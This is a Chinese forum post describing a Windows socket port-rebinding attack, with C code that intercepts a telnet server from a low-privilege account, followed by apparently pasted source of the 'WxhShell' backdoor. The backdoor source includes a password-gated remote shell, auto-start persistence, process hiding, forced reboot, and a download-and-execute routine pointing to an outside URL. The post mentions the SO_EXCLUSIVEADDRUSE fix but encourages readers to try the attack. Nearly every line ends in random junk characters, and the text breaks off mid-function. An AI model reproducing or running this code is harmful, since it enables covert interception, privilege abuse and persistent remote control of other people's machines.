社区应用 最新帖子 精华区 社区服务 会员列表 统计排行 社区论坛任务 迷你宠物
  • 16259阅读
  • 1回复

[讨论]用端口截听实现隐藏嗅探与攻击

级别: 终身会员
发帖
3743
铜板
8
人品值
493
贡献值
9
交易币
0
好评度
3746
信誉值
0
金币
0
所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: sPE)m_u  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); F'UguC">  
Dmm r]~  
  saddr.sin_family = AF_INET; fs3 -rXoB  
CVGOX z  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); bco[L@6G$  
y800(z  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); nT@6g|!  
=8$0$d  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 17n+4J]  
V^Mf4!A(y  
  这意味着什么?意味着可以进行如下的攻击: J+cAS/MYX  
{Ukc D+.Y  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 4gv.E 0Fo  
yYG3/Z3u5  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) A1|7(Sow  
94h_t@Q/1  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 0x]OF8=J  
~D -JZx  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  RvPniT(<?  
PV]k3&y  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 w `. T/  
y= oVUsG  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 (N*<\6kr  
BS-:dyBw  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 *< $c =  
re ]Ste  
  #include PzMlua  
  #include u8<&F`7j  
  #include GTp?)nh^  
  #include    ^EC)~HP@C  
  DWORD WINAPI ClientThread(LPVOID lpParam);   co$Hi9JE  
  int main() z|G|Y 22  
  { jHu,u|e0>S  
  WORD wVersionRequested; ,#P,B ;r~  
  DWORD ret; &Hlm{FHU  
  WSADATA wsaData; k%Ma4_Z  
  BOOL val; <m Ju v  
  SOCKADDR_IN saddr; z<yNG/M1>U  
  SOCKADDR_IN scaddr; e>?_)B4  
  int err; v9t4 7>V  
  SOCKET s; ^)9MzD^_nV  
  SOCKET sc; .# !'c  
  int caddsize; Nl$gU3kL  
  HANDLE mt; hs!UX=x|  
  DWORD tid;   WA]%,6  
  wVersionRequested = MAKEWORD( 2, 2 ); g+>=C   
  err = WSAStartup( wVersionRequested, &wsaData ); l50|` 6t  
  if ( err != 0 ) { 08Pt(kzNA  
  printf("error!WSAStartup failed!\n"); ,Lt~u_lve  
  return -1; .g/ARwM}  
  } ,>bGbx  
  saddr.sin_family = AF_INET; /RJ6nmN@}  
   cX|[WT0[I  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 zz(!t eBC  
;NiArcAS!  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); IgPV#  
  saddr.sin_port = htons(23); d]O_E4X*  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) lgkl? 0!  
  { Z/89&Uy`h  
  printf("error!socket failed!\n"); lj " Z  
  return -1; NCowt|#t  
  } YVQ_tCC_!  
  val = TRUE; 4 [R8(U[g  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 QHHW(InG<  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) ZdE>C   
  { a)3O? Y  
  printf("error!setsockopt failed!\n"); sBP}n.#$  
  return -1; 5cyddlaat  
  } ZNzR `6}  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; _'! aj +{  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 1s{ISWm  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 u @{E{  
]}mly` Fw  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) d\~p5_5.  
  { :r1;}hIA9  
  ret=GetLastError(); u-AWJc+F.  
  printf("error!bind failed!\n"); V,>+G6e  
  return -1; @k=cN>ZMc  
  } D+@-XU<Lp<  
  listen(s,2); 5kGxhD  
  while(1) =y)p>3p}&  
  { Zi 2o  
  caddsize = sizeof(scaddr); 1%$d D2  
  //接受连接请求 OOEV-=  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); v-P8WFjca  
  if(sc!=INVALID_SOCKET) ;]2 x  
  { |ZvNH ~!  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); Uj4Lu  
  if(mt==NULL) <Vz<{W3t  
  { i0k+l  
  printf("Thread Creat Failed!\n"); 6B7<  
  break; 1vB-M6(  
  } eq^TA1>T  
  } $7Jfb<y  
  CloseHandle(mt); nkCecwzr-  
  } *ZGX-+{  
  closesocket(s); ,\BVV,  
  WSACleanup(); cU7rq j_  
  return 0; 8|1`Tn}o  
  }   5;X {.2  
  DWORD WINAPI ClientThread(LPVOID lpParam) +68+PhHF  
  { 2{Wo-B,wt~  
  SOCKET ss = (SOCKET)lpParam; UH5w7M  
  SOCKET sc; EoKC8/  
  unsigned char buf[4096]; ,/i_QgP  
  SOCKADDR_IN saddr; k/df(cs  
  long num; @O@fyAz  
  DWORD val; 1|o$X  
  DWORD ret; sCVI 2S!L  
  //如果是隐藏端口应用的话,可以在此处加一些判断 ;*y|8od B  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   <A)+|Y"^h6  
  saddr.sin_family = AF_INET; Vo #:CB=8  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); jr9&.8%W:v  
  saddr.sin_port = htons(23); Y8)}P WMs  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) Nc{]zWL9  
  { Uh>.v |P6  
  printf("error!socket failed!\n"); |r5e{  
  return -1; aGpCNc{+  
  } Hl4\M]]/&  
  val = 100; XR|"dbZW.0  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) 3rxo,pX94  
  { CXTt(-FT  
  ret = GetLastError(); UQ5BH%EPb  
  return -1; C1V# ?03eI  
  } !tI=`Ml[  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) tC2N >C[N  
  { 8O;Vl  
  ret = GetLastError(); U);OR  
  return -1; 4py(R-8\  
  } {]=v]O |,  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) Q4X7Iu:  
  { 3=Z<wD s  
  printf("error!socket connect failed!\n"); {] O`g G  
  closesocket(sc); 2-~a P  
  closesocket(ss); wDDxj  
  return -1; lj)f4zu  
  } vK(I3db !  
  while(1) J2r1=5HS  
  { Yrpxy.1=F5  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 cFLd)mt/  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 4GVNw!V  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 T'8RkDI}-  
  num = recv(ss,buf,4096,0); YZibi  
  if(num>0) DR6]-j!FK  
  send(sc,buf,num,0); qh-[L  
  else if(num==0) B#]_8svO  
  break;  JX{KYU  
  num = recv(sc,buf,4096,0); .8]Y-  
  if(num>0) 6_*!|g  
  send(ss,buf,num,0); Sr&T[ex,.  
  else if(num==0) BBvZeG $Y  
  break; L!gDFZr  
  } N0Gf0i>  
  closesocket(ss); Uan,H1a   
  closesocket(sc); M`~!u/D7  
  return 0 ; Te;gVG*  
  } :lK4 db  
ymtd>P"  
Ivsb<qzG  
========================================================== rR]-RX(  
J^fm~P>.  
下边附上一个代码,,WXhSHELL >D ne? 8r  
3% ^z?_  
========================================================== X/Y#U\  
GQx9u ^>  
#include "stdafx.h" 0qv$:w)g+v  
2Pp&d>E4  
#include <stdio.h> |6%.VY2b  
#include <string.h> W<NmsG})_g  
#include <windows.h> ,d|vP)SS  
#include <winsock2.h> Tw//!rp G  
#include <winsvc.h> n>P! u71  
#include <urlmon.h> Noh?^@T`Ov  
IZ8y}2  
#pragma comment (lib, "Ws2_32.lib") _R7 w?!t8  
#pragma comment (lib, "urlmon.lib") t}Ss=0dJO  
Tr&E4e  
#define MAX_USER   100 // 最大客户端连接数 o'Pu'y  
#define BUF_SOCK   200 // sock buffer RZO5=L9E  
#define KEY_BUFF   255 // 输入 buffer 6Nt$ZYS  
(;}tf~~r  
#define REBOOT     0   // 重启 TFy7HX\Oq  
#define SHUTDOWN   1   // 关机 F6W}mMZH/N  
YUscz!rM  
#define DEF_PORT   5000 // 监听端口 2zK"*7b?  
55-D\n<  
#define REG_LEN     16   // 注册表键长度 9cQ_mgch  
#define SVC_LEN     80   // NT服务名长度 G;TsMq  
wVqd$nsY"  
// 从dll定义API : ,p||_G&  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); F}U5d^!2  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); Fc8E Y*  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); JDv-O&]  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); B,_`btJh  
''S&e  
// wxhshell配置信息 -#?<05/C>  
struct WSCFG { . uR M{Bs  
  int ws_port;         // 监听端口 m=TJDr-  
  char ws_passstr[REG_LEN]; // 口令 g_w&"=.jBq  
  int ws_autoins;       // 安装标记, 1=yes 0=no 9cd8=][  
  char ws_regname[REG_LEN]; // 注册表键名 K)S;:MLG=  
  char ws_svcname[REG_LEN]; // 服务名 z856 nl  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 Q> 8pP\ho  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 rGlRAn#?,  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 5j{Np,K  
int ws_downexe;       // 下载执行标记, 1=yes 0=no \dq!q=b\  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" ug *D52?  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 s /%:dnij  
zX kx7d8  
}; Sdd9Dv?!  
s&'BM~WI  
// default Wxhshell configuration !gH 9ay  
struct WSCFG wscfg={DEF_PORT, ~O;y?]U  
    "xuhuanlingzhe", K>1X}ZMdD(  
    1, @(:v_l  
    "Wxhshell", G#[* |+f8  
    "Wxhshell", alm- r-Kb3  
            "WxhShell Service", 8$vK5Dnn8  
    "Wrsky Windows CmdShell Service", }q!_!q,@  
    "Please Input Your Password: ", M)!skU   
  1, !QEL"iJ6M'  
  "http://www.wrsky.com/wxhshell.exe", U,; xZe  
  "Wxhshell.exe" }nud  
    }; NQ9Ojj{#  
a3@w|KLt  
// 消息定义模块 {8@\Ij  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; IfV  3fJ7  
char *msg_ws_prompt="\n\r? for help\n\r#>"; kWL.ewTiex  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; }!)F9r@\  
char *msg_ws_ext="\n\rExit."; <7n]Ai@Y  
char *msg_ws_end="\n\rQuit."; :\yc*OtX  
char *msg_ws_boot="\n\rReboot..."; u3ZCT" !  
char *msg_ws_poff="\n\rShutdown..."; DQJG,?e{  
char *msg_ws_down="\n\rSave to "; pCU*@c!  
I^3:YVR&  
char *msg_ws_err="\n\rErr!"; &~-~5B|3"  
char *msg_ws_ok="\n\rOK!"; 5j^NV&/_  
rt4Z;  
char ExeFile[MAX_PATH]; ~xyw>m+o.  
int nUser = 0; $-vo}k%M  
HANDLE handles[MAX_USER]; P<;7j?  
int OsIsNt; #[ -\lU|  
R,Oe$J<  
SERVICE_STATUS       serviceStatus; bAF )Bli  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; x<B'.3y  
*'ZN:5%H  
// 函数声明 x5Zrz<Y$w  
int Install(void); HIf{Z* mb  
int Uninstall(void); #^rU x.  
int DownloadFile(char *sURL, SOCKET wsh); 2KI!af[I  
int Boot(int flag); nr\q7  
void HideProc(void); qv+R:YYOq  
int GetOsVer(void); rdJB*Rlkh  
int Wxhshell(SOCKET wsl); 5bX6#5uP1  
void TalkWithClient(void *cs); ii4B?E  
int CmdShell(SOCKET sock); Mkv|TyC  
int StartFromService(void); X-JV'KE}^z  
int StartWxhshell(LPSTR lpCmdLine); w1|Hy2D`0  
MZv\ C  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); |M5-5)  
VOID WINAPI NTServiceHandler( DWORD fdwControl );  Mm= Mz  
{3edTu  
// 数据结构和表定义 .~klG&>aV  
SERVICE_TABLE_ENTRY DispatchTable[] = c[cAUsk i  
{ :q+N&j'3  
{wscfg.ws_svcname, NTServiceMain}, uS5o?fg\e  
{NULL, NULL} SR7j\1a/2A  
}; F u _@!K  
X K>&$<5{  
// 自我安装 t\R; < x  
int Install(void) RiFw?Q+  
{ ..KwTf  
  char svExeFile[MAX_PATH]; k#)Ad*t  
  HKEY key; t})$lM  
  strcpy(svExeFile,ExeFile); 'BqZOZw  
p1O6+hRio  
// 如果是win9x系统,修改注册表设为自启动 q<{NO/Mm  
if(!OsIsNt) { O`W%Tr  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { H[Weu  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 6yIvaY$KR  
  RegCloseKey(key); cT'w=  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { fCUT[d+H  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); [Ot,q/hBJ  
  RegCloseKey(key); I6w~H?ul@*  
  return 0; B)=~8wsI:Z  
    } ($!KzxF3  
  } M##';x0  
} e!x6bR9EZ  
else { uJow7-FD  
m],Ud\  
// 如果是NT以上系统,安装为系统服务 \54}T 4R  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); YD[H  
if (schSCManager!=0) pSAR/':eg  
{ xJ(:m<z  
  SC_HANDLE schService = CreateService aXR%;]<Dw  
  ( t[C1z  
  schSCManager, d'HOpJE  
  wscfg.ws_svcname, d53 L65[  
  wscfg.ws_svcdisp, 4%ZM:/  
  SERVICE_ALL_ACCESS, y?z\L   
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , \0*l,i1&  
  SERVICE_AUTO_START, XGs^rIf  
  SERVICE_ERROR_NORMAL, oXYMoi  
  svExeFile, 6rDfQ`f\p  
  NULL, WjMRH+  
  NULL, HFtf  
  NULL, QT!5l`  
  NULL, *^XbDg9  
  NULL ;e s^R?z  
  ); pR$6,Vi  
  if (schService!=0) "S!3m9_#  
  { F9Z @x)  
  CloseServiceHandle(schService); }GZbo kWg.  
  CloseServiceHandle(schSCManager); B5=($?5^6%  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); :pC;`iQ  
  strcat(svExeFile,wscfg.ws_svcname); 'Cg{_z.~c  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { lF4u{B9DM  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); $aP(|!g  
  RegCloseKey(key); .YcN S%  
  return 0; |!*Xl) ]  
    } ^PqF<d6  
  } +V8b  
  CloseServiceHandle(schSCManager); <$Yi]ty  
} f} K`Jm_}?  
} j F5Blc  
(.X]F_ *sc  
return 1; ,E*R,'w   
} le .'pP@  
k`YYZt]@  
// 自我卸载 B@K[3  
int Uninstall(void) {=JF=8@A  
{ -G`.y?  
  HKEY key; Dz&+PES_k  
;u-4KK  
if(!OsIsNt) { v.g"{us  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { k*$3i  
  RegDeleteValue(key,wscfg.ws_regname); igkz2SI  
  RegCloseKey(key); M7dU@Ag  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { i@$*Csj\9*  
  RegDeleteValue(key,wscfg.ws_regname); ?b:_AO&  
  RegCloseKey(key); ?9KGnOVu  
  return 0; _j ;3-m  
  } t&RruwN_;  
} +"!aM?o  
} B;t=B_oK  
else { zK5bO= 0j  
.{so  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); 1mW%  
if (schSCManager!=0) oyeG$mpg  
{ YD_]!HK}  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); AFm1t2,+;  
  if (schService!=0) < oI8-f  
  { AXW!]=?X  
  if(DeleteService(schService)!=0) { nWgv~{,x  
  CloseServiceHandle(schService); ]7/gJ>g,  
  CloseServiceHandle(schSCManager); P]6}\ ]~  
  return 0; o$J6 ~dn  
  } ([k7hUP  
  CloseServiceHandle(schService); 3LK%1+)4  
  } N6/T#UVns  
  CloseServiceHandle(schSCManager); 8jnz}aBd  
} !1 :@8q  
} w]!0<  
%}qbkkZ  
return 1; 8l)  
} j6>tH"i  
%_f;G+fK\p  
// 从指定url下载文件 @.9I3E-=  
int DownloadFile(char *sURL, SOCKET wsh) `E>vG-9  
{ Ijo(^v@  
  HRESULT hr; Yp5L+~J[  
char seps[]= "/"; q-&P=Yk  
char *token; 6?gi_3g  
char *file; uP|FJLY  
char myURL[MAX_PATH]; SkP[|g'56  
char myFILE[MAX_PATH]; j%tEZ"H  
R]L2(' B  
strcpy(myURL,sURL); [ ]p"3 i  
  token=strtok(myURL,seps); +_mr  
  while(token!=NULL) rla:<6tt  
  { h)dRR_  
    file=token; vjlGXT`m  
  token=strtok(NULL,seps); =*MR(b>  
  } \{v,6JC  
JP=ZUu  
GetCurrentDirectory(MAX_PATH,myFILE); g(m_yXIx  
strcat(myFILE, "\\"); ElR)Gd_8  
strcat(myFILE, file); km 5E)_]  
  send(wsh,myFILE,strlen(myFILE),0); ]+%=@mWYs  
send(wsh,"...",3,0); 77aX-e*=E  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); +{-]P\oc  
  if(hr==S_OK) F)ci9-b@  
return 0; VifmZ;S@Y  
else <Dm Tj$  
return 1; ^.HWkS`e  
;z>p8N  
}  WL-0(  
Lb~\Y n'z  
// 系统电源模块 {bkGYx5.C  
int Boot(int flag) X;EJ&g/  
{ |]ucHV  
  HANDLE hToken; )f*Iomp]@  
  TOKEN_PRIVILEGES tkp; }76.6=~  
kk_zVrQ<  
  if(OsIsNt) { ,wK 1=7  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); zSgjp\  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); 0XIxwc0Iw  
    tkp.PrivilegeCount = 1; I'InZ0J2  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; AQh["1{yJ  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); H1T~u{8j}  
if(flag==REBOOT) { K H}t:m+h  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) -!R l(if  
  return 0; &?T${*~  
} /hci\-8N~  
else { ?5~!i9pY  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) s]x2DH+_  
  return 0; j|4tiv>  
} |- OHve4A  
  } Xj ,j0  
  else { e_.~n<=  
if(flag==REBOOT) { (02g#A`  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) ETelbj;0  
  return 0; ^5x4q  
} n\>.T[$"  
else { V9{B}5KC  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) t2.juoI(  
  return 0; pqfT\Kb>  
} NG)7G   
} k?-S`o%Q  
-\,VGudM}  
return 1; gKQ@!U U8  
} *k6$   
(Y;'[.  
// win9x进程隐藏模块 P>W8V+l![  
void HideProc(void) i'HST|!j  
{ *vs~SzF$  
#pa\ 2d|  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); 8S=c^_PJ  
  if ( hKernel != NULL ) e7|d=W  
  { sZm^&h;  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); W-XN4:,qI  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); 8A_TIyh?  
    FreeLibrary(hKernel); llqDT-cp  
  } Tw}z7U"  
q]l\`/R%u  
return; 0 r3N^_}  
} 8;.` {'r  
P:a*t[+  
// 获取操作系统版本 *NjMb{[ZQ  
int GetOsVer(void) Dauo(Uhuo  
{ z1qUz7  
  OSVERSIONINFO winfo; 05g?jV  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); $68 XZCx  
  GetVersionEx(&winfo); vGyppm[0  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) #tP )-ww  
  return 1; .-%oDuB5zF  
  else ]>*I)H)  
  return 0; d#Wn[h$"  
} ;]u1~  
w6v1 q:20  
// 客户端句柄模块 U\;Ml  
int Wxhshell(SOCKET wsl) 5W5pRd>Q  
{ )SD_}BY%k  
  SOCKET wsh; WiwwCKjSa  
  struct sockaddr_in client; i*b4uHna  
  DWORD myID; SmvwhX  
M Hn&; A]  
  while(nUser<MAX_USER) 3]7ipwF2q  
{ #PPsRKj3c  
  int nSize=sizeof(client); dr>]+H=3E  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); cWc$ yE'  
  if(wsh==INVALID_SOCKET) return 1; t5A[o7BS  
/gF]s_  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); BDnBBbBrz  
if(handles[nUser]==0) EyPy*_A  
  closesocket(wsh); i&5!9m`Cw  
else 9Mut p4#  
  nUser++;  nFVbQa~  
  } @OrXbG7&>#  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); N~0$x,bR  
GZ.?MnG  
  return 0; $q.p$JQ:  
} a1 _o.A  
tUn&z?7bF  
// 关闭 socket 5 u"nxT   
void CloseIt(SOCKET wsh) %Ln?dF+  
{ d`<#}-nh  
closesocket(wsh); 2 /UI>@By  
nUser--; P@-R5GK  
ExitThread(0); Mof)2Hbd:  
} 9EjjkJ%)q  
HMFl/%z  
// 客户端请求句柄 RNl\`>Cz  
void TalkWithClient(void *cs) =7H.F:BBG  
{ }]Qmt5'NI  
>DkN+S  
  SOCKET wsh=(SOCKET)cs; ~c9vdK  
  char pwd[SVC_LEN]; #{?m  
  char cmd[KEY_BUFF]; R|6RI}  
char chr[1]; i"ck`6v"8  
int i,j; C-_w]2MM  
J>/Ci\OB  
  while (nUser < MAX_USER) { OcLg3.:L  
}NR`81  
if(wscfg.ws_passstr) { ~ rQ4n9G  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 0  %C!`7  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); aJ% e'F[  
  //ZeroMemory(pwd,KEY_BUFF); R,fMZHAG  
      i=0; ?%_]rr9  
  while(i<SVC_LEN) { [%7IQ4`{  
60(}_%  
  // 设置超时 F9ZOSL 8Q  
  fd_set FdRead; P] {B^,E  
  struct timeval TimeOut; z[_R"+   
  FD_ZERO(&FdRead); s= 3EBh  
  FD_SET(wsh,&FdRead); 'JJ1#kKa  
  TimeOut.tv_sec=8; z2"2tFK  
  TimeOut.tv_usec=0; W8\PCXnsfl  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); 3T Yo  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); xuw//F  
<x.]OZgO  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); EXv\FUzo  
  pwd=chr[0]; Cj`pw2.  
  if(chr[0]==0xd || chr[0]==0xa) { eimA *0Cq  
  pwd=0; pqRO[XEp2  
  break; v GulM<YY  
  } N8u_=b{X  
  i++; hXj* {vT  
    } >Lo6='G  
7r:nMPX  
  // 如果是非法用户,关闭 socket 6C@0[Q\ER  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); 8HHgN`_  
} ksxO<Y  
'Hcd&3a  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); KE }o  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ]QjXh >  
a @yE:HU  
while(1) { )&g2D@+{  
9`hpa-m@  
  ZeroMemory(cmd,KEY_BUFF); *q\HFI  
# khyy-B=  
      // 自动支持客户端 telnet标准   hVTyv"  
  j=0; \= )[  
  while(j<KEY_BUFF) { (\[jf39e  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh);  3D[:Rf[  
  cmd[j]=chr[0]; bw<~R2[  
  if(chr[0]==0xa || chr[0]==0xd) { LRfFn^FPM  
  cmd[j]=0; /It.>1~2@  
  break; FE^?U%:u@  
  } D0,oml  
  j++; }bj,&c  
    } )w3XN A_V  
i2\\!s  
  // 下载文件 &kmd<  
  if(strstr(cmd,"http://")) { +dPE!:  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); c +"O\j'  
  if(DownloadFile(cmd,wsh)) {VrAh*#h  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); Vj9`[1}1Z  
  else ~7eUt^SD;  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); qHcY 2LV  
  } q? gQ  
  else { *NX*/(Q  
*$*nY [/5  
    switch(cmd[0]) { AVdd?Ew  
  r5X BcG(2  
  // 帮助 c@"i?  
  case '?': { X(0:zb,#G*  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); h}c6+@w&-  
    break; @$N*lrM2  
  } 2={K-s20  
  // 安装 q%)*,I<  
  case 'i': { #Fb0;H9`  
    if(Install()) #o}{cXX#  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); XO8 H]  
    else "pKGUM  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); U:T5o]P<  
    break; cZ7F1H~  
    } b5iJ m-  
  // 卸载 SOi(5]  
  case 'r': { ~ 33@H  
    if(Uninstall()) t9=|* =;9)  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); }I'>r(K  
    else q>Ar.5&M_  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); `G:qtHn"Q<  
    break; ?_<UOb*  
    } X/?h!Y}  
  // 显示 wxhshell 所在路径 #L)4 |  
  case 'p': { {f6A[ZO;J  
    char svExeFile[MAX_PATH]; ^LQ lfd  
    strcpy(svExeFile,"\n\r"); gIf+.^/m1  
      strcat(svExeFile,ExeFile); IhFw{=2*  
        send(wsh,svExeFile,strlen(svExeFile),0); NnSI)*%'  
    break; "S:NU .c?  
    } VN55!l'OV  
  // 重启 rg]A_(3Bb  
  case 'b': { II f >z_m  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); ]#Z$jq{,  
    if(Boot(REBOOT)) Q& unA3  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); bvxxE/?Ni  
    else { _sD]Viqc  
